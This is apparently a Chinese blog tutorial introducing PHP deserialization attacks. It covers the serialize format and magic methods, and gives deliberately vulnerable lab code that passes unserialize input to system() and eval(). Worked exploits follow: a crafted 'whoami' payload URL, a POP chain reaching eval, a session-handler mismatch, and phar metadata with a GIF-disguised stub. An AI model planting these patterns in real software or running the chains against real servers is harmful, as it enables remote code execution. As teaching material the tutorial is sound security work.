php反序列化初探
VSole2023-04-23 09:50:02
什么是反序列化
php反序列化中 序列化:对象信息转化为字符串 反序列化:字符串转化为对象信息 作用:便于传输和存储
php序列化简述
php class S{ public $test="e0mlja"; var $url; function setUrl($par){ $this->url = $par; } } $s=new S(); $s->setUrl("http://123.com"); echo serialize($s); ?> 上述的example中,打印一下结果如下 O:1:"S":2:{s:4:"test";s:6:"e0mlja";s:3:"url";s:14:"http://123.com";} 分析一下代表的意思 O:对象 1:数量,代表1个 "S":这个对象(类)的名称,为s 2:对象里面有两个变量,内部的变量用{}包围 s:数据类型,这里为string 4:长度,代表4个长度 test:变量的名字 s:数据类型 6:变量的值的长度 e0mlja:变量的值的值 后续的url可以依次类推
php修饰符影响
class A{ private $test = "whoami1"; protected $test1 = "whoami2"; public $test2 = "whoami3"; } $a=new A(); echo serialize($a); ?> private 前面多了一个A,也就是多了一个类名,长度为7,其实构造方式为%00类名%00成员名 protected 前面多了一个* 长度为8 构造方式为%00*%00成员名
php反序列化简述
class S{ public $test="e0mlja"; var $url; function setUrl($par){ $this->url = $par; } } $s=new S(); $s->setUrl("http://123.com"); echo serialize($s); $u=unserialize('O:1:"S":2:{s:4:"test";s:6:"e0mlja";s:3:"url";s:14:"http://123.com";}'); var_dump($u); ?> 看下面的结果,能够看到unserialize是还原了序列化的字符串
php中的反序列化漏洞
通过控制php中的魔术方法,传入构造的恶意反序列化后的字符串,通过魔术方法触发反序列化漏洞,执行我们的恶意代码。 注意反序列化构造的类名必须和源码中的一致,不能新生成一个类名。 漏洞前提: 1.unserialize的参数可控 2.有可以利用的魔术方法
常用魔术方法
__wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __destruct() 对象被销毁时触发 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据 __set() 用于将数据写入不可访问的属性 __isset() 在不可访问的属性上调用isset()或empty()触发 __unset() 在不可访问的属性上使用unset()时触发 __toString() 当对象被当作字符串输出的时候自动触发 __invoke() 当脚本尝试将对象调用为函数时触发
简单的反序列化漏洞
class A{ var $test = "demo"; function __destruct(){ @system($this->test); } } $test = $_GET['test']; $test_unser = unserialize($test); ?>
利用过程
1.生成反序列化字符串 class A{ var $test = "whoami"; } $a=new A(); echo serialize($a); ?> 2.发送数据 http://127.0.0.1/1.php?test=O:1:%22A%22:1:{s:4:%22test%22;s:6:%22whoami%22;} 3.获取结果
中等复杂的反序列化利用
class A{ public $target; function __construct(){ $this->target = new B; } function __destruct(){ $this->target->action(); } } class B{ function action(){ echo "action B"; } } class C{ public $test; function action(){ echo "action A"; eval($this->test); } } unserialize($_GET['test']); ?>
利用分析
(1)反序列化的传参为test,test可以传入序列化后的字符串 (2)调用的结果在于classC中的eval方法造成代码执行 (3)执行eval方法需要调用action()方法(非自动调用所以需要找触发点),action()方法的调用可以再ClassA的__destruct中调用 (4)根据分析结果写出来一个利用的pop链子 php class A{ public $target; function __destruct(){ $this->target = new C(); $this->target->action(); } } class C{ public $test="phpinfo();"; function action(){ @eval($this->test); } } $a=new A(); echo serialize($a); ?>
session反序列化
参考 https://xz.aliyun.com/t/6753
代码1
php error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['session'] = $_GET['session']; ?> 此文件的作用主要是设置session的值,可以通过session get方式传参设置
代码2
php error_reporting(0); ini_set('session.serialize_handler','php'); session_start(); class e0m{ public $name = 'e0m'; function __wakeup(){ echo "Who are you?"; } function __destruct(){ echo ' '.$this->name; } } $str = new e0m(); echo serialize($str); ?> 此文件的作用主要是验证不同存储方式的session影响
利用过程
访问session1,获取session,session的结果可以再php.ini文件中查看配置的路径 访问hello.php,获取反序列化的结果 修改session文件,将需要反序列化的结果补充到session中,然后访问hello.php
利用的话,可以看一下这个文章 https://cloud.tencent.com/developer/article/2035863
phar
特定于php的压缩文件,类似于java的jar,不经过解压就可以直接访问 要求 php.ini中设置为phar.readonly=Off php version>=5.3.0
构造一个phar文件
php class e0mObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub(""); $o = new e0mObject(); $phar->setMetadata($o); $phar->addFromString("e0m.txt", "test"); $phar->stopBuffering(); ?>
验证反序列化漏洞存在,调用file_get_contents时触发了反序列化,自动调用了__destruct方法。
class e0mObject { public function __destruct() { echo 'success'; } } $filename = 'phar://phar.phar/e0m.txt'; file_get_contents($filename); ?>
由于phar文件的php识别只验证了__HALT_COMPILER();?>,可以通过如下$phar->setStub("GIF89a"."");将文件修改为Gif格式,然后利用phar伪协议进行进一步的利用。
寻找反序列化漏洞
(1)寻找参数可控的unserialize()触发点 (2)寻找合适的漏洞点,比如存在eval,file等相关操作的魔术方法 (3)通过魔术方法一系列的调用,构造出一条调用栈 (4)根据调用栈写出payload
总结
php的反序列化还是需要多动手,多梳理一下流程,和java有相似之处,但是寻找调用点还需要经验等。
VSole
网络安全专家